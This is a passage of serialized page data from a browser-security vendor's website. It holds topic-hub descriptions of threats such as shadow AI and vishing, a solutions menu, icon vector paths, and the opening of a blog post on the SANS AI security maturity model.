teams.",74,{"sys":576,"faqItemsCollection":578,"name":580,"slug":581,"tier":45,"intro":582,"faqTitle":59,"postCount":583,"hasPage":19},{"id":577},"topic-shadow-ai",{"items":579},[],"Shadow AI","shadow-ai","Shadow AI is employees’ unsanctioned use of AI tools at work, putting corporate data into chatbots and assistants that security teams never approved and can’t see. Push’s own browser telemetry shows AI adoption acting as a force multiplier for shadow IT — potentially now outscaling shadow SaaS — and this hub tracks that research, real-world breach examples, and practical controls.",20,{"sys":585,"faqItemsCollection":587,"name":589,"slug":590,"tier":45,"intro":591,"faqTitle":59,"postCount":592,"hasPage":19},{"id":586},"topic-shadow-saas",{"items":588},[],"Shadow SaaS","shadow-saas","Shadow SaaS is the cloud applications employees adopt for work without IT approval, each one creating unmanaged accounts, identities, and data outside your security controls. Push covers the problem end to end — from browser-based SaaS discovery to in-browser app banners and MFA enforcement — alongside breach analyses that show where unmanaged accounts lead.",75,{"sys":594,"faqItemsCollection":596,"name":598,"slug":599,"tier":45,"intro":600,"faqTitle":59,"postCount":601,"hasPage":19},{"id":595},"topic-siem",{"items":597},[],"SIEM","siem","A SIEM is only as good as the telemetry feeding it, and most log sources never see what happens inside the browser — where phishing, session token theft, and account takeover actually play out. Push streams browser-level detections and identity telemetry into SIEMs, and these posts show how that data improves detection fidelity and cuts alert fatigue.",19,{"sys":603,"faqItemsCollection":605,"name":607,"slug":608,"tier":45,"intro":609,"faqTitle":59,"postCount":610,"hasPage":19},{"id":604},"topic-social-engineering",{"items":606},[],"Social engineering","social-engineering","Social engineering is the manipulation of people — through phishing pages, help desk impersonation, vishing calls, and poisoned tenant invites — into handing over access that no exploit could take. Coverage here tracks how threat actors run these plays — drawing on Push’s ongoing investigation of live phishing infrastructure and criminal tooling.",59,{"sys":612,"faqItemsCollection":614,"name":616,"slug":617,"tier":31,"intro":618,"faqTitle":59,"postCount":557,"hasPage":6},{"id":613},"topic-supply-chain-security",{"items":615},[],"Supply chain security","supply-chain-security","Supply chain security extends beyond your own perimeter to the vendors, platforms, and browser extensions your organization depends on. A compromised third party can hand attackers legitimate access — as recent campaigns against SaaS providers have shown. Push’s research examines the browser-extension supply chain in particular: why extension risk scores fail to predict compromise, and how developers can harden extensions against takeover. These posts frame supply chain risk through a browser and identity lens.",{"sys":620,"faqItemsCollection":622,"name":624,"slug":625,"tier":45,"intro":626,"faqTitle":59,"postCount":627,"hasPage":19},{"id":621},"topic-swg",{"items":623},[],"SWG","swg","A secure web gateway (SWG) filters and inspects web traffic in transit, sitting in the network path between users and the internet. That position shows you the packet but not the session: Push’s research on AitM phishing kits documents how attackers break the signatures proxies rely on, and these posts explain why phishing detection is moving from the network path into the browser itself.",17,{"sys":629,"faqItemsCollection":631,"name":633,"slug":634,"tier":45,"intro":635,"faqTitle":59,"postCount":636,"hasPage":19},{"id":630},"topic-third-party-risk",{"items":632},[],"Third-party risk","third-party-risk","Third-party risk is the exposure your organization inherits from vendors, SaaS providers, and integrations that hold your data or access your tenants — a chain now extended one employee sign-up at a time. This hub collects Push’s breach analyses and guides for assessing OAuth integrations, managing browser extensions, and responding when a supplier is compromised.",44,{"sys":638,"faqItemsCollection":640,"name":642,"slug":643,"tier":31,"intro":644,"faqTitle":59,"postCount":398,"hasPage":19},{"id":639},"topic-threat-landscape",{"items":641},[],"Threat landscape","threat-landscape","The enterprise threat landscape is now defined by identity attacks: criminals log in with phished, stolen, or stuffed credentials rather than breaking infrastructure. Threat actors keep proving how effective help desk scams, MFA bypass, and session theft are against well-defended organizations. Drawing on breach analyses, annual phishing trend reviews, and in-the-wild campaign tracking, Push documents how attacker TTPs are shifting. This hub is where to follow those changes.",{"sys":646,"faqItemsCollection":648,"name":650,"slug":651,"tier":45,"intro":652,"faqTitle":59,"postCount":371,"hasPage":19},{"id":647},"topic-vishing",{"items":649},[],"Vishing","vishing","Vishing — voice phishing — uses phone calls to impersonate IT support, help desks, or employees, talking targets into password resets, MFA approvals, or opening attacker-controlled pages. Threat actors now routinely pair calls with AiTM phishing to hijack SSO accounts, a chain Push has analyzed across campaigns targeting hundreds of organizations.",{},"blogtopics","w0ITersBlkytyrxHNkTEFmGsSW5X9NfdbmeXV1u8bAo",[657,661,665,669,673],{"title":658,"logo":659,"createdDate":660},"SOC2","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fb6727a5e00004d6e9e69fc3068b8b64c",1784291539953,{"title":662,"logo":663,"createdDate":664},"GDPR","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ffe49f53211674deaa5a6640d929cdf42?format=webp",1784291672535,{"title":666,"logo":667,"createdDate":668},"Cyber essentials","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F53558c1045a342a7a28def960cd54ae7?format=webp",1784291702710,{"title":670,"logo":671,"createdDate":672},"ISO IEC 27001","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F578a404a61cf45db951a41fe3554d12d",1784291766222,{"title":674,"logo":675,"createdDate":676},"ISO IEC 27701","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fbe219844b13242fbba531959579a753c",1784291858848,[678,730,775],{"id":679,"label":680,"text":21,"navIcon":681,"items":682},"stop-browser-based-attacks","Stop browser-based attacks","solid:faShieldHalved",[683,688,693,698,703,708,712,717,721,725],{"title":684,"text":685,"url":686,"navIcon":687},"Adversary-in-the-Middle","Detect and block AiTM proxies stealing session tokens.","/solution/stop-browser-based-attacks/adversary-in-the-middle-attacks","solid:faUserSecret",{"title":689,"text":690,"url":691,"navIcon":692},"ClickFix (+Fix variants)","Block attacks that trick users into running malicious code.","/solution/stop-browser-based-attacks/clickfix-fix-variants","sharp-regular:faLaptopCode",{"title":694,"text":695,"url":696,"navIcon":697},"Malicious OAuth integrations","Detect suspicious OAuth consent flows and stop persistent access.","/solution/stop-browser-based-attacks/malicious-oauth-integrations","solid:faPlugCircleXmark",{"title":699,"text":700,"url":701,"navIcon":702},"Malicious browser extensions","Shine a light on risky browser extensions.","/solution/stop-browser-based-attacks/malicious-browser-extensions","sharp-regular:faPuzzlePiece",{"title":704,"text":705,"url":706,"navIcon":707},"Malicious file downloads","Gain visibility into browser downloads and block malicious files.","/solution/stop-browser-based-attacks/malicious-file-downloads","solid:faFileCircleXmark",{"title":395,"text":709,"url":710,"navIcon":711},"Surface hidden login paths that bypass SSO and expose accounts.","/solution/stop-browser-based-attacks/ghost-logins","solid:faGhost",{"title":713,"text":714,"url":715,"navIcon":716},"Mobile phishing (QR & SMS)","Detect phishing links delivered via SMS and QR codes.","/solution/stop-browser-based-attacks/mobile-phishing-qr-code-sms","solid:faQrcode",{"title":333,"text":718,"url":719,"navIcon":720},"Identify reused and compromised credentials across SaaS logins.","/solution/stop-browser-based-attacks/credential-stuffing","custom:credentialStuffing",{"title":571,"text":722,"url":723,"navIcon":724},"Detect and block stolen session tokens before attackers get access.","/solution/stop-browser-based-attacks/session-hijacking","solid:faCookieBite",{"title":726,"text":727,"url":728,"navIcon":729},"Zero-day phishing","Detect phishing TTPs directly in the browser and stop credential theft.","/solution/stop-browser-based-attacks/zero-day-phishing","sharp-regular:faFishingRod",{"id":731,"label":732,"text":21,"navIcon":733,"items":734},"achieve-security-outcomes","Achieve security outcomes","solid:faCheckToSlot",[735,740,745,750,755,760,765,770],{"title":736,"text":737,"url":738,"navIcon":739},"Stop account takeover","Stop ATO with stolen credential and compromised token detection.","/solution/achieve-security-outcomes/stop-account-takeover","sharp-regular:faUserSecret",{"title":741,"text":742,"url":743,"navIcon":744},"Harden unmanaged identities","Harden access paths with visibility, detection, and guardrails.","/solution/achieve-security-outcomes/harden-unmanaged-identities","sharp-regular:faRadar",{"title":746,"text":747,"url":748,"navIcon":749},"Investigate browser-related incidents","Investigate and respond faster with unique browser telemetry.","/solution/achieve-security-outcomes/investigate-browser-related-incidents","sharp-regular:faSatelliteDish",{"title":751,"text":752,"url":753,"navIcon":754},"Secure shadow SaaS","See and control shadow SaaS in the browser.","/solution/achieve-security-outcomes/secure-shadow-saas","sharp-regular:faShieldCheck",{"title":756,"text":757,"url":758,"navIcon":759},"Secure AI","See and control AI apps in the browser.","/solution/achieve-security-outcomes/secure-ai","sharp-regular:faBrainCircuit",{"title":761,"text":762,"url":763,"navIcon":764},"Secure BYOD","Extend consistent browser-based protection to unmanaged devices.","/solution/achieve-security-outcomes/secure-bring-your-own-device","solid:faMobileScreenButton",{"title":766,"text":767,"url":768,"navIcon":769},"Secure Chromebooks","Secure browser activity on Chromebooks without endpoint agents.","/solution/achieve-security-outcomes/secure-chromebooks","brands:faChrome",{"title":771,"text":772,"url":773,"navIcon":774},"Investigate and stop data loss","Detect and prevent data loss across AI tools, apps, and sessions.","/solution/achieve-security-outcomes/investigate-and-stop-data-loss","custom:investigateAndStopDataLoss",{"id":776,"label":777,"text":21,"navIcon":778,"items":779},"tool-replacements","Tool replacements","solid:faScrewdriverWrench",[780,785,790,795],{"title":781,"text":782,"url":783,"navIcon":784},"Remote browser isolation","Detect attacks that look like normal browsing.","/solution/tool-replacements/remote-browser-isolation","solid:faDisplay",{"title":786,"text":787,"url":788,"navIcon":789},"Secure web gateways","Detect attacks inside the browser after SWGs allowed the connection.","/solution/tool-replacements/secure-web-gateways","solid:faFilter",{"title":791,"text":792,"url":793,"navIcon":794},"Cloud access security broker","Catch browser-based identity threats in real time, not after the fact.","/solution/tool-replacements/cloud-access-security-broker","solid:faCloudArrowUp",{"title":796,"text":797,"url":798,"navIcon":799},"Security awareness training","Block real phishing instead of training users on simulations.","/solution/tool-replacements/security-awareness-training","custom:securityAwareness",{"w":801,"h":802,"d":803},448,512,"M171-16c-36.4 0-57.8 58.3-68.3 112L72 96c-13.3 0-24 10.7-24 24s10.7 24 24 24l24 0 0 32c0 17 3.3 33.2 9.3 48l-9.3 0 0 0-20.5 0c-15.2 0-27.5 12.3-27.5 27.5 0 3 .5 5.9 1.4 8.7l28.9 86.6C40.2 379.6 16 428.1 16 482.3 16 498.7 29.3 512 45.7 512l356.6 0c16.4 0 29.7-13.3 29.7-29.7 0-54.2-24.2-102.7-62.3-135.4l28.9-86.6c.9-2.8 1.4-5.7 1.4-8.7 0-15.2-12.3-27.5-27.5-27.5l-20.5 0 0 0-9.3 0c6-14.8 9.3-31 9.3-48l0-32 24 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-30.7 0c-10.4-53.7-31.9-112-68.3-112-9.6 0-19 3.9-27.5 8.2-8.2 4.1-18.4 7.8-25.5 7.8s-17.3-3.7-25.5-7.8C190-12.1 180.6-16 171-16zm93.7 484.4l-24.8-70.9 27.9-32.5c2.7-3.2 4.2-7.2 4.2-11.4 0-9.7-7.8-17.5-17.5-17.5l-61 0c-9.7 0-17.5 7.8-17.5 17.5 0 4.2 1.5 8.2 4.2 11.4l27.9 32.5-24.8 70.9-57-180.4 35.7 0c18.4 10.2 39.5 16 62 16s43.6-5.8 62-16l35.7 0-57 180.4zM224 256c-34.7 0-64.2-22.1-75.3-53 5.7 3.2 12.3 5 19.3 5l12.4 0c16.5 0 31.1-10.6 36.3-26.2 2.3-7 12.2-7 14.5 0 5.2 15.6 19.9 26.2 36.3 26.2l12.4 0c7 0 13.6-1.8 19.3-5-11.1 30.9-40.6 53-75.3 53z",{"w":17,"h":802,"d":805},"M112 80l416 0 0 224 48 0 0-272-512 0 0 272 48 0 0-224zM48 404.1l0-4.1 544 0 0 4.1-27.9 27.9-488.2 0-27.9-27.9zM592 352l-592 0 0 72 56 56 528 0 56-56 0-72-48 0zM281 169l17-17-33.9-33.9c-6.1 6.1-27.8 27.8-65 65l-17 17c6.1 6.1 27.8 27.8 65 65l17 17 33.9-33.9c-9-9-25-25-48-48l31-31zM393 135l-17-17-33.9 33.9c9 9 25 25 48 48-23 23-39 39-48 48L376 281.9c6.1-6.1 27.8-27.8 65-65l17-17c-6.1-6.1-27.8-27.8-65-65z",{"w":17,"h":802,"d":807},"M192-32c17.7 0 32 14.3 32 32l0 96 128 0 0-96c0-17.7 14.3-32 32-32s32 14.3 32 32l0 96 64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l0 48.7c-98.6 8.1-176 90.7-176 191.3 0 27.3 5.7 53.3 16 76.9l0 3.1c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-66.7C165.2 398.1 96 319.1 96 224l0-64c-17.7 0-32-14.3-32-32S78.3 96 96 96l64 0 0-96c0-17.7 14.3-32 32-32zM496 256a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-36.7 36.7-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l36.7 36.7-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l36.7-36.7 36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-36.7-36.7 36.7-36.7z",{"w":802,"h":802,"d":809},"M201.1 57.3c-7 5.3-9.1 10.7-9.1 14.7 0 4.5 2.8 11.2 12.4 16.9l11.6 7 0 48.1-168 0 0 60.5c7.4-2.9 15.5-4.5 24-4.5 43.1 0 72 39.4 72 80s-28.9 80-72 80c-8.5 0-16.6-1.6-24-4.5l0 108.5 108.5 0c-2.9-7.4-4.5-15.5-4.5-24 0-43.1 39.4-72 80-72s80 28.9 80 72c0 8.5-1.6 16.6-4.5 24l60.5 0 0-168 48.1 0 7 11.6c5.8 9.6 12.4 12.4 16.9 12.4 4 0 9.5-2.1 14.7-9.1s9.3-17.9 9.3-30.9-4-23.8-9.3-30.9-10.7-9.1-14.7-9.1c-4.5 0-11.2 2.8-16.9 12.4l-7 11.6-48.1 0 0-120-120 0 0-48.1 11.6-7c9.6-5.8 12.4-12.4 12.4-16.9 0-4-2.1-9.5-9.1-14.7S245 48 232 48 208.2 52 201.1 57.3zM172.3 18.9C188.5 6.8 209.6 0 232 0S275.5 6.8 291.7 18.9 320 49.5 320 72c0 8.6-1.8 16.7-4.9 24l100.9 0 0 100.9c7.3-3.1 15.4-4.9 24-4.9 22.5 0 41 12.2 53.1 28.3s18.9 37.3 18.9 59.7-6.8 43.5-18.9 59.7-30.6 28.3-53.1 28.3c-8.6 0-16.7-1.8-24-4.9l0 148.9-168 0 0-49.3 8.2-7.2c5.4-4.7 7.8-10.3 7.8-15.5 0-9.9-10.7-24-32-24s-32 14.1-32 24c0 5.3 2.4 10.8 7.8 15.5l8.2 7.2 0 49.3-216 0 0-216 49.3 0 7.2 8.2c4.7 5.4 10.3 7.8 15.5 7.8 9.9 0 24-10.7 24-32s-14.1-32-24-32c-5.3 0-10.8 2.4-15.5 7.8L49.3 264 0 264 0 96 148.9 96c-3.1-7.3-4.9-15.4-4.9-24 0-22.5 12.2-41 28.3-53.1z",{"w":811,"h":802,"d":812},576,"M96 0C60.7 0 32 28.7 32 64l0 384c0 35.3 28.7 64 64 64l180 0c-22.7-31.5-36-70.2-36-112 0-100.6 77.4-183.2 176-191.3l0-38.1c0-17-6.7-33.3-18.7-45.3L290.7 18.7C278.7 6.7 262.5 0 245.5 0L96 0zM357.5 176L264 176c-13.3 0-24-10.7-24-24L240 58.5 357.5 176zM432 544a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7l-36.7 36.7 36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-36.7-36.7-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l36.7-36.7-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0l36.7 36.7 36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z",{"w":814,"h":802,"d":815},384,"M40.1 467.1l-11.2 9C25.7 478.6 21.8 480 17.8 480 8 480 0 472 0 462.2L0 192C0 86 86 0 192 0S384 86 384 192l0 270.2c0 9.8-8 17.8-17.8 17.8-4 0-7.9-1.4-11.1-3.9l-11.2-9c-13.4-10.7-32.8-9-44.1 3.9L269.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6l-26.6-30.5c-12.7-14.6-35.4-14.6-48.2 0L141.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6L84.2 471c-11.3-12.9-30.7-14.6-44.1-3.9zM160 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z",{"w":801,"h":802,"d":817},"M64 160l64 0 0-64-64 0 0 64zM0 80C0 53.5 21.5 32 48 32l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48L0 80zM64 416l64 0 0-64-64 0 0 64zM0 336c0-26.5 21.5-48 48-48l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48l0-96zM320 96l0 64 64 0 0-64-64 0zM304 32l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48l0-96c0-26.5 21.5-48 48-48zM288 352a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0 64c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm96 32c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm32-96a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm-32 32a32 32 0 1 1 -64 0 32 32 0 1 1 64 0z",{"w":802,"h":802,"d":819},"M257.5 27.6c-.8-5.4-4.9-9.8-10.3-10.6-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9-.9-5.3-5.3-9.3-10.6-10.1-51.5-8.2-92.8-47.1-104.5-97.4-1.8-7.6-8-13.4-15.7-14.6-54.6-8.7-97.7-52-106.2-106.8zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z",{"w":801,"h":802,"d":821},"M284.6 0l91.4 0 0 160-48 0 0-112-36.6 0-203.4 58.1 0 181.9 40 0 0 224-128 0 0-224 40 0 0-218.1 17.4-5 224-64 3.2-.9zM80 336l-32 0 0 128 32 0 0-128zm176 8c0-76.8 64-136 96-152 32 16 96 75.2 96 152 0 32-16 80-64 112l32 40 0 16-128 0 0-16 32-40c-48-32-64-80-64-112zm128-32a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z",{"w":801,"h":802,"d":823},"M144-16l-48 112-48 0 0 48 48 0 0 32c0 17 3.3 33.2 9.3 48l-73.3 0 0 32 5.3 16 26.7 80-64 160 51.7 0 56.9-142.2 6.5-16.3c-1-3.1-10.1-30.3-27.2-81.5l51.4 0c22.6 19.9 52.2 32 84.7 32s62.1-12.1 84.7-32l51.4 0c-17.1 51.2-26.1 78.4-27.2 81.5l6.5 16.3 56.9 142.2 51.7 0-64-160 26.7-80 5.3-16 0-32-73.3 0c6-14.8 9.3-31 9.3-48l0-32 48 0 0-48-48 0-48-112-32 0-48 32-48-32-32 0zm80 272c-32.8 0-61-19.7-73.3-48l57.3 0 16-40 16 40 57.3 0c-12.3 28.3-40.5 48-73.3 48zm17.5 139.6l30.5-35.6 0-24-96 0 0 24 30.5 35.6-46.5 116.4 128 0-46.5-116.4z",{"w":802,"h":802,"d":825},"M497.4 49l17-17-33.9-33.9C473.6 4.9 453.3 25.2 419.7 58.8 375.4 22.1 318.5 0 256.4 0 115.1 0 .4 114.6 .4 256s114.6 256 256 256 256-114.6 256-256l-48 0c0 114.9-93.1 208-208 208s-208-93.1-208-208 93.1-208 208-208c48.8 0 93.7 16.8 129.1 44.9l-45.7 45.7c-23.5-16.8-52.3-26.6-83.4-26.6-79.5 0-144 64.5-144 144s64.5 144 144 144 144-64.5 144-144l-48 0c0 53-43 96-96 96s-96-43-96-96 43-96 96-96c17.8 0 34.5 4.8 48.8 13.3-52 52-79.5 79.5-82.7 82.7l33.9 33.9 17-17 224-224z",{"w":802,"h":802,"d":827},"M208 0l24 0C386.6 0 512 125.4 512 280l0 24-48 0 0-24C464 151.9 360.1 48 232 48l-24 0 0-48zm24 96c101.6 0 184 82.4 184 184l0 24-48 0 0-24c0-75.1-60.9-136-136-136l-24 0 0-48 24 0zM48 256c0 114.9 93.1 208 208 208 22.9 0 45-3.7 65.6-10.5l-263-263C51.7 211 48 233.1 48 256zM0 256c0-36.5 7.6-71.3 21.4-102.7 6.7-15.3 14.9-29.9 24.4-43.5 7.7 7.7 61.5 61.5 161.2 161.2 30.5-30.5 49.5-49.5 57-57L297.9 248c-7.5 7.5-26.5 26.5-57 57 99.7 99.7 153.5 153.5 161.2 161.2-13.6 9.5-28.2 17.7-43.5 24.4-31.4 13.8-66.2 21.4-102.7 21.4-141.4 0-256-114.6-256-256z",{"w":802,"h":802,"d":829},"M267.6 4.5l207.5 80.5 19.2 7.4 1.2 20.5c2.9 50-4.9 126.3-37.3 200.9-32.7 75.2-91.1 150-189.4 192.5l-12.7 5.5-12.7-5.5C144.9 463.9 86.6 389.2 53.9 313.9 21.5 239.3 13.7 162.9 16.6 113L17.8 92.5 37 85 244.5 4.5 256 0 267.6 4.5zM64.1 126C63.1 169.5 71 232.9 97.9 294.8 126.1 359.7 175 422.4 256 459.6 337.1 422.4 385.9 359.7 414.2 294.8 441 232.9 449 169.5 448 126L256 51.5 64.1 126zm302.3 44.7L352.3 190.1 249.8 330.9 233 354c-8.8-9.1-30.9-32-66.2-68.6l-16.7-17.3 34.5-33.3c9.5 9.8 23.9 24.7 43.2 44.7l85.6-117.7 14.1-19.4 38.8 28.2z",{"w":802,"h":802,"d":831},"M192 48l40 0 0 108-12.4 0c-7.6-16.5-24.3-28-43.6-28-26.5 0-48 21.5-48 48s21.5 48 48 48c19.4 0 36.1-11.5 43.6-28l12.4 0 0 56-92 0 0 56.4c-16.5 7.6-28 24.3-28 43.6 0 26.5 21.5 48 48 48s48-21.5 48-48c0-19.4-11.5-36.1-28-43.6l0-16.4 52 0 0 172-40 0c-16.8 0-31.2-10.3-37.1-25.1l-6.4-16-17.2 1c-1.1 .1-2.2 .1-3.2 .1-30.9 0-56-25.1-56-56 0-9.5 2.4-18.5 6.5-26.3l8.7-16.2-13.4-12.6c-11-10.2-17.8-24.8-17.8-40.9 0-21.6 12.2-40.4 30.3-49.8l22.6-11.7-13.1-21.9c-5-8.4-7.9-18.1-7.9-28.6 0-30.9 25.1-56 56-56l24 0 0-32c0-13.3 10.7-24 24-24zm88 148l12.4 0c7.6 16.5 24.3 28 43.6 28 26.5 0 48-21.5 48-48s-21.5-48-48-48c-19.4 0-36.1 11.5-43.6 28l-12.4 0 0-108 40 0c13.3 0 24 10.7 24 24l0 32 24 0c30.9 0 56 25.1 56 56 0 10.5-2.9 20.3-7.9 28.6l-13.1 21.9 22.6 11.7c18 9.3 30.3 28.1 30.3 49.8 0 16.1-6.8 30.7-17.8 40.9l-13.4 12.6 8.7 16.2c4.2 7.8 6.5 16.7 6.5 26.3 0 30.9-25.1 56-56 56-1.1 0-2.2 0-3.2-.1l-17.2-1-6.4 16C351.2 453.7 336.8 464 320 464l-40 0 0-76 92 0 0-56.4c16.5-7.6 28-24.3 28-43.6 0-26.5-21.5-48-48-48s-48 21.5-48 48c0 19.4 11.5 36.1 28 43.6l0 16.4-52 0 0-152zM192 512l128 0c31.1 0 58.4-16.2 74.1-40.5 52.7-5.1 93.9-49.5 93.9-103.5 0-11.5-1.9-22.5-5.3-32.9 13.4-17.5 21.3-39.4 21.3-63.1 0-32-14.5-60.6-37.1-79.7 3.3-10.2 5.1-21.1 5.1-32.3 0-49.6-34.8-91.1-81.3-101.5-6.3-33.3-35.6-58.5-70.7-58.5L192 0c-35.1 0-64.4 25.2-70.7 58.5-46.5 10.4-81.3 51.9-81.3 101.5 0 11.3 1.8 22.2 5.1 32.3-22.7 19.1-37.1 47.7-37.1 79.7 0 23.7 8 45.6 21.3 63.1-3.5 10.4-5.3 21.4-5.3 32.9 0 54 41.2 98.5 93.9 103.5 15.6 24.3 42.9 40.5 74.1 40.5zM336 192a16 16 0 1 1 0-32 16 16 0 1 1 0 32zm32 96a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zM176 352a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zm16-176a16 16 0 1 1 -32 0 16 16 0 1 1 32 0z",{"w":814,"h":802,"d":833},"M16 64C16 28.7 44.7 0 80 0L304 0c35.3 0 64 28.7 64 64l0 384c0 35.3-28.7 64-64 64L80 512c-35.3 0-64-28.7-64-64L16 64zm64 0l0 304 224 0 0-304-224 0zM192 472c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z",{"w":802,"h":802,"d":835},"M0 256c0-46.6 12.5-90.4 34.3-128.9L144.1 318.3c21.9 39.2 63.8 65.7 111.9 65.7 14.3 0 27.1-2.3 40.8-6.6L220.5 509.6C95.9 492.3 0 385.3 0 256zm365.1 65.6c12.3-19.2 18.9-42.5 18.9-65.6 0-38.2-16.8-72.5-43.3-96l152.7 0c12 29.6 18.6 62.1 18.6 96 0 141.4-114.6 255.1-256 256L365.1 321.6zM477.8 128L256 128c-62.9 0-113.7 44.1-125.5 102.7L54.2 98.5C101 38.5 174 0 256 0 350.8 0 433.5 51.5 477.8 128zM344 256a88 88 0 1 1 -176 0 88 88 0 1 1 176 0z",{"w":802,"h":802,"d":837},"M448 96l0 256-384 0 0-256 384 0zM64 32C28.7 32 0 60.7 0 96L0 352c0 35.3 28.7 64 64 64l144 0-16 48-72 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l272 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-72 0-16-48 144 0c35.3 0 64-28.7 64-64l0-256c0-35.3-28.7-64-64-64L64 32z",{"w":802,"h":802,"d":839},"M32 64C19.1 64 7.4 71.8 2.4 83.8S.2 109.5 9.4 118.6L192 301.3 192 416c0 8.5 3.4 16.6 9.4 22.6l64 64c9.2 9.2 22.9 11.9 34.9 6.9S320 492.9 320 480l0-178.7 182.6-182.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 64 480 64L32 64z",{"w":811,"h":802,"d":841},"M144 480c-79.5 0-144-64.5-144-144 0-63.4 41-117.2 97.9-136.5-1.3-7.7-1.9-15.5-1.9-23.5 0-79.5 64.5-144 144-144 55.4 0 103.5 31.3 127.6 77.1 14.2-8.3 30.8-13.1 48.4-13.1 53 0 96 43 96 96 0 15.7-3.8 30.6-10.5 43.7 44 20.3 74.5 64.7 74.5 116.3 0 70.7-57.3 128-128 128l-304 0zM305 191c-9.4-9.4-24.6-9.4-33.9 0l-72 72c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l31-31 0 102.1c0 13.3 10.7 24 24 24s24-10.7 24-24l0-102.1 31 31c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72z",[843,5085,8442,11491,14652,17530,20667,25172,28901,34325,37445,40478,42949,47811,50905,53887,56525,59474,62309,65438,69437,74794,80587,82061,87526,90601,91911,95100,96438,99804,102541,106052,108970,111497,113513,115911,117668,119808,121933],{"id":844,"title":845,"authorsCollection":846,"content":854,"extension":228,"faqItemsCollection":1779,"faqTitle":59,"featured":6,"hashTags":59,"meta":1781,"metaTitle":1782,"ogImage":59,"postType":1783,"publishedDate":1784,"relatedBlogPostsCollection":1785,"slug":5033,"stem":5034,"subtitle":59,"summary":5035,"synopsis":5046,"sys":5047,"tagsCollection":5050,"topicsCollection":5056,"__hash__":5084},"blog/blog/crossing-the-ai-security-chasm-sans-security-maturity-model.json","Crossing the AI security chasm with the SANS AI security maturity model",{"items":847},[848],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":852},"Mark Orlando","Mark","Field CTO",{"url":853},"https://images.ctfassets.net/y1cdw1ablpvd/592PMwIQQFaa24k5SKBEKF/a33090d0ad95d1e3081f5d16a46ba826/image__68_.png",{"json":855,"links":1740},{"data":856,"content":857,"nodeType":1739},{},[858,867,899,917,926,933,950,954,964,983,1050,1057,1063,1070,1153,1160,1167,1183,1186,1194,1201,1208,1216,1223,1235,1241,1248,1255,1262,1265,1273,1289,1305,1312,1319,1326,1347,1433,1440,1447,1450,1459,1475,1482,1489,1497,1500,1508,1526,1533,1540,1573,1580,1587,1590,1598,1605,1617,1623,1635,1647,1653,1665,1687,1694,1697,1705,1712,1719],{"data":859,"content":860,"nodeType":866},{},[861],{"data":862,"marks":863,"value":864,"nodeType":865},{},[],"Most security leaders I talk to know they have an AI problem. They've seen the board questions, read the reports, maybe even drafted a policy. But when they start measuring where they stand — not plans or roadmaps, but actual current state — the gap between awareness and operational capability comes into focus.","text","paragraph",{"data":868,"content":869,"nodeType":866},{},[870,874,883,887,895],{"data":871,"marks":872,"value":873,"nodeType":865},{},[],"The ",{"data":875,"content":877,"nodeType":882},{"uri":876},"https://pushsecurity.com/blog/verizon-dbir-2026-review",[878],{"data":879,"marks":880,"value":881,"nodeType":865},{},[],"2026 Verizon 